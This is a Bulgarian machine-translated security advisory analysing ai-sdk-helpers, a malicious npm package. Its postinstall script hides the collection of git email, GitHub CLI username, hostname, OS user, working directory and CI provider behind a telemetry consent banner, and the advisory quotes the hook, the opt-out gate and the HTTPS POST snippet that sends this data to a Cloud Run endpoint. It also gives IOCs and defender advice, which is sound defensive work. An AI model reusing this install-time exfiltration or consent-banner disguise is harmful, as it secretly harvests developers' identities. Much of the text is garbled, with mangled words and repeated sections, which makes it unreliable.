ConsentMask - npm пакет, който скрива събирането на самоличността на разработчика

ConsentMask: NPM пакет, който показва банер за телеметрично съгласие върху събирането на самоличност от разработчика

TL; DR

Един npm пакет, ai-sdk-помощници, се представя като инструментариум за производство за Vercel AI SDK, предлагащ проследяване на разходите, резервен доставчик и помощни средства за стрийминг.

Скриптът му за инсталиране се отваря с изискан банер за разкриване на информация, описващ анонимна диагностика, обещавайки, че няма да се предава изходен код, токени или идентификационни данни, спазвайки DO_NOT_TRACK отказване и свързване към страница с правила за телеметрия.

Същият скрипт след това чете git идентичността на разработчика, конфигурацията на GitHub CLI, името на хоста на машината, потребителското име на операционната система, работната директория и доставчика на CI.

Тези данни се изпращат като JSON към крайна точка на Google Cloud Run, което създава явно несъответствие между заявената политика за телеметрия и действително събраните полета.

Пакетът е публикуван в двадесет и две версии в рамките на един 83-секунден пакет, а инсталационният скрипт е идентичен байт по байт във всяка маркирана версия.

Седем от осемте версии, прегледани от нашите pipeline бяха оценени като неубедителни от класификатора на машинно обучение, защото стилът на банера за съгласие се чете като легитимна телеметрия.

Ние класифицираме ai-sdk-helpers като злонамерен въз основа на събирането и извличането на самоличността на разработчика по време на инсталиране.

Тежест: висока.

 Анатомия на инсталацията

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

след инсталиране работи автоматично на npm инсталиране, преди да бъде импортиран който и да е от рекламирания код на пакета. Скриптът скриптове/postinstall.js е мястото, където се намира цялото поведение по време на инсталиране.

Отваря се с блок за коментари и известие по време на изпълнение, написано в регистъра на проект с отворен код, съобразен с поверителността:

>Когато инсталирате ai-sdk-helpers, ние изпълняваме бърза проверка за съвместимост със средата и докладваме анонимна диагностика… Данните са напълно анонимни — събираме вашата платформа, версия на Node и еднопосочен хеш на идентификатора на вашата машина. Никога не се предава изходен код, токени или идентификационни данни.

Той дори свързва работещ портал за отказване, първият изпълним код във файла:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

затварянето на тази врата първо е това, което кара останалото да се чете като консенсусно: разработчик, който задава `D_НЕ_СЛЕДИ` следи инсталацията да завърши безшумно и завършва с пакета, спазвайки конвенцията. Отказът от участие е реален. Това, което той блокира, за всеки, който не го е задал, е описаната по-долу колекция, а не по-тясното „платформа, версия на Node и еднопосочен хеш“, както е посочено в известието.

Под този порт, скриптът сглобява полезен товар, който далеч надхвърля това описание.

  • *Gт идентичност.* rрешаване наScmИдентичност()` eads `~.gitconfig`,`~.config/git/config`,и `.то/конфигурация`,анализира `[сер]` раздел и връща конфигурирания commit имейл. Ако никой конфигурационен файл не даде имейл, се връща към `GИмейл на автора на T_AUTHOR`,`GT_COMMITTER_EMAIL`,и `ЕAIL` променливи на средата. Документационен низ над функцията определя прочитаното като начин „за дедуплициращи се инсталации на машини, собственост на едно и също лице (напр. лаптоп + CI)“ — заявена цел, която изисква стабилен идентификатор за всеки разработчик, който commit имейл консумативи.
  • *GtHub акаунт.* rрешиGitHubIdentity()` eads `~.config/gh/hosts.yml` и `~.config/gh/hosts.yaml` конфигурационният файл, написан от CLI на GitHub, когато разработчикът се удостоверява — и извлича `u` чрез регулярни изразиъъъ:` и `еболи:` полета. Този файл съхранява и OAuth токена на GitHub; регулярният израз на скрипта е насочен конкретно към редовете за потребителско име и имейл и не извлича токена. Твърдението на банера за разкриване на информация „никакви токени... никога не се предават“ следователно е буквално вярно за това едно поле, докато околните идентификатори на акаунти се четат и изпращат.
  • *Hst и CI пръстов отпечатък.* След това сценарият събира „o“.име_на_хост()`,`o.userInfo().потребителскоиме`,версията, платформата и архитектурата на Node, `pocess.cwd()`,и етикет на CI-доставчик, разрешен чрез проверка на променливите на средата за осем доставчика (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite и два флага generic-CI). Списъкът с доставчици се чете като опис на това къде се очаква да се изпълни скриптът — интерактивни обвивки и автоматизирано изграждане pipelineси приличат.

Всички те са групирани в едно `dагностици обект, като полетата за всеки разработчик са събрани под `iобект ey и данните за хоста под `rвреме и `cntext` очи, след което сериализирани и предадени:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Отговорът се отхвърля и всички грешки се поглъщат — коментар отбелязва, че „телеметрията никога не трябва да прекъсва инсталацията“. Името на хоста на крайната точка кодира услуга Google Cloud Run в `eвъже-запад1` регион.

Пропастта е историята. Банерът назовава три категории данни - платформа, версия на възела, хеш на машинния идентификатор. Полезният товар изпраща реалния git на разработчика. commit имейл, потребителското им име и имейл в GitHub, името на хоста на машината им и името на OS акаунта, пътя на проекта им и тяхната CI среда. Полетата, които идентифицират *prson и техните акаунти* точно полетата, които разкритието пропуска.

README файлът подсилва рамката от другата страна. Разделът му „Телеметрия“ повтаря твърдението за анонимност и свързва думата `D_НЕ_СЛЕДИ` о `cnsoledonottrack.com`,истинската страница на общността, която документира конвенцията за отказване — заемайки призната политика за поверителност standard за да се чете известието като рутина.

История

Това е находка в един пакет с много кратка, много богата история на публикациите. Няма многоседмична дъга на кампанията, която да се проследи — целият диапазон от версии беше пуснат с машинна скорост.

Кога (UTC) събитие
2026-06-03 20:31:20 Първа версия (0.1.0) публикувано в npm.
2026-06-03 20:31:20 – 20:32:43 Всички 22 версии (0.1.0 чрез 1.4.2) публикувано в 83-секунден автоматизиран взрив.
2026-06-04 Осем версии, маркирани от сигнали за откриване; ръчният анализ потвърждава събирането и извличането на самоличност по време на инсталиране. Пакетът е останал активен в npm по време на анализа.

83-секундният прозорец през 22 семантични версии сам по себе си е поведенчески индикатор: стълбицата на версиите (`01.0',`01.1',... `14.2`)представя повърхността на активно поддържан проект с история на изданията, създадена в едно скриптово изпълнение. Инсталационният скрипт не се променя в рамките на тази стълбица — вижте по-долу.

Индикатори за компромис

Полезният товар по време на инсталиране е идентичен в целия публикуван диапазон на версиите. A `dff` f `sript/postinstall.js` между версии `02.1` ри версия `14.2` не връща никакви разлики; поведението е един фиксиран пръстов отпечатък, а не променящ се полезен товар.

мрежа

83-секундният прозорец през 22 семантични версии сам по себе си е поведенчески индикатор: стълбицата на версиите (`01.0',`01.1',... `14.2`)представя повърхността на активно поддържан проект с история на изданията, създадена в едно скриптово изпълнение. Инсталационният скрипт не се променя в рамките на тази стълбица — вижте по-долу.

Индикатори за компромис

Полезният товар по време на инсталиране е идентичен в целия публикуван диапазон на версиите. A `dff` f `sript/postinstall.js` между версии `02.1` ри версия `14.2` не връща никакви разлики; поведението е един фиксиран пръстов отпечатък, а не променящ се полезен товар.

мрежа

индикатор Роля
npm-package-logger-228835561205.europe-west1.run.app Крайна точка за ексфилтрация, получаваща HTTPS POST заявки с JSON полезни товари. Хоствана в Google Cloud Run в europe-west1 област.

Инфраструктура за примамки

индикатор Роля
ai-sdk.guide Начална страница на пакета и активен сайт, поддържащ самоличността на автора на „AI SDK Guide“.
ai-sdk.guide/telemetry URL адресът на политиката за телеметрия, посочен в известието за разкриване на информация по време на инсталиране.
hello@ai-sdk.guide Имейл адресът на автора е деклариран в package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Хранилище с изходен код, декларирано от пакета.

Файлове, прочетени по време на инсталиране

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[сер]` поща
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIъъъ `eболи

Поведенчески сигнатури

  • – м `пstinstall` ook извикване на пакетен Node скрипт
  • – портал за отказ („A“)_SDK_ПОМОЩНИЦИ_ТЕЛЕМЕТРИЯ_ДЕАКТИВИРАНА`,`D_НЕ_СЛЕДИ`)представена като функция за поверителност, преди събирането на данни за самоличност
  • – tbound HTTPS POST на JSON обект, съдържащ git имейл, GitHub идентичност, име на хост, потребителско име на операционната система, cwd и CI етикет
  • – идентичен с te-install скрипт в бързо публикувана стълбица на версиите

 Атрибуция и наблюдавано поведение
Не предоставяме нищо освен това, което е записано в метаданните на пакета и системния регистър.

Поддържащият записа npm е акаунтът `aиелсимон,с адрес „а“iel@vigilance.security`.Регистърът посочва този имейл като непотвърден, а идентичността на акаунта за контрол на източниците е непотвърдена. `pckage.json`,отделно, представя автора като „Ръководство за AI SDK“ello@ai-sdk.guide>`”с начална страница на `a-sdk.guide` и хранилище с изходен код под `gОрганизация thub.com/ai-sdk-guide. Имейл домейнът на публикуващия акаунт (`vigilance.security`)и идентичността на автора в пакета (`a-sdk.guide`)са различни домейни.

„А“-sdk.guide` ite е активен и отговаря, а `/електрометрия ath разрешава — идентичността на примамката е подкрепена от достъпно уеб присъствие, а не от неработеща връзка, което повишава правдоподобността на рамката на пакета.

**Наблюдавана възможност.** По време на инсталиране пакетът чете файловете за самоличност на разработчика и конфигурацията на акаунта, отпечатва пръстови отпечатъци на хоста и CI средата и предава резултата към крайна точка, контролирана от оператор, като същевременно показва известие, което описва по-тесен и анонимизиран набор от данни. Ние описваме това поведение; не твърдим мотив за него. Читателите, оценяващи пакета – включително всяка страна, която разпознава самоличността на публикуващия – трябва да преценят наблюдаваното несъответствие между заявените и действителните потоци от данни.

Въздействие, тенденции и насоки за защитниците

Кой е изложен. Всеки, който инсталира ai-sdk-помощници — директно или като транзитивна зависимост — изпълнява колекцията на тази машина. Тъй като тригерът е след инсталиране, рекламираният библиотечен код никога не е необходимо да се импортира, за да се осъществи потокът от данни; самото инсталиране е достатъчно. Средите с най-висока стойност са работни станции за разработчици с конфигурирана git идентичност и удостоверен GitHub CLI, както и CI runners, където откриването на CI-доставчик от скрипта показва, че се очаква колекцията да се изпълнява вътре в build. pipelineкакто и на лаптопи.

Какво разкрива. Не са тайни на приложението в общия случай — полезният товар се фокусира върху идентичностна разработчика commit имейл адрес, името и имейл адреса на техния GitHub акаунт, имената на машината и акаунта и пътя на проекта. Това е предварителноcisкарта на това кой е инсталирал пакета, на коя машина, в кое хранилище и под коя CI система. За една организация, няколко такива записа, взети заедно, биха изброили кои инженери и кои системи за изграждане са изтеглили зависимостта - полезно като предпоставка за по-целенасочена последваща дейност, въпреки че собственото поведение на този пакет спира при събиране и предаване.

Тенденцията: телеметрията като прикритие. Легитимните инструменти за разработчици събират анонимизирани диагностични данни за инсталиране и спазват правилата за това – известие за разкриване на информация, НЕ_СЛЕДЕТЕ чест, флаг за отказване, URL адрес на политика — са добре познати. ai-sdk-помощници възпроизвежда вярно и четирите конвенции и ги използва като обвивка за събиране на данни за самоличност. Наличието на банер за съгласие, работещ отказ или връзка към политиката за поверителност не е доказателство, че даден пакет е надежден; тези контроли са евтини за имитиране. Единствената надеждна проверка е какво всъщност чете кодът и къде всъщност го изпраща.

Тази опаковка има и измерим ефект върху автоматизирания триаж. В различните версии нашите pipeline След преглед, коментарите на обикновен език на инсталационния скрипт, структурираните имена на полетата и конвенционалният портал за отказване бяха оценени като обикновена телеметрия: седем от осемте се върнаха неубедителен от класификатора на машинно обучение, а не злонамерен. Сигналът, който разрешава неяснотата, не е в прозата — той е в конкретните файлове, които скриптът отваря (~ / .gitconfig, ~/.config/gh/hosts.yml) и местоназначението, до което го изпраща. Проверяващ, автоматизиран или човешки, който прочете разкритието и спре дотук, ще стигне до грешно заключение; решението трябва да произтича от фактите за потока от данни.

Указания за защитниците:

  • Инсталиране със скриптове, деактивирани по подразбиране — npm install –ignore-scriptsили задайте игнориране на скриптове=true in .npmrc и да изпълняват проверени стъпки за изграждане изрично. Това неутрализира след инсталиране-задействано събиране по всички въпроси.
  • Не третирайте контролите за отказване като сигнали за доверие. A НЕ_СЛЕДЕТЕ проверката или връзката „политика за телеметрия“ не ви казва нищо за данните, които скриптът събира, когато шлюзът не е зададен.
  • Прочетете инсталационния код, преди да приемете помощни пакети за AI-екосистема. Vercel AI SDK пространството е бързо развиваща се цел с високо доверие; след инсталиране което докосва ~ / .gitconfig or ~/.config/gh/ е ясен сигнал, независимо от това как са написани околните коментари.
  • Мониториране на изхода по време на изграждане. Изходящ HTTPS POST по време на npm инсталиране, особено към новоосигурена крайна точка с облачна функция, е наблюдаема на мрежовото ниво и е силна точка за откриване за CI среди.
  • Внимавайте за компресирани стълби на версиите. Пакет, чиято цялата семантична история на версиите се появява за секунди, с непроменен инсталационен скрипт, представя фабрично създадена история на поддръжка.
инструменти за анализ на състава на софтуера SCA Tools
Приоритизирайте, отстранете и защитете софтуерните си рискове
Вземете своя безплатен акаунт.
Не е необходима кредитна карта.

Осигурете си разработка и доставка на софтуер

с продуктовия пакет Xygeni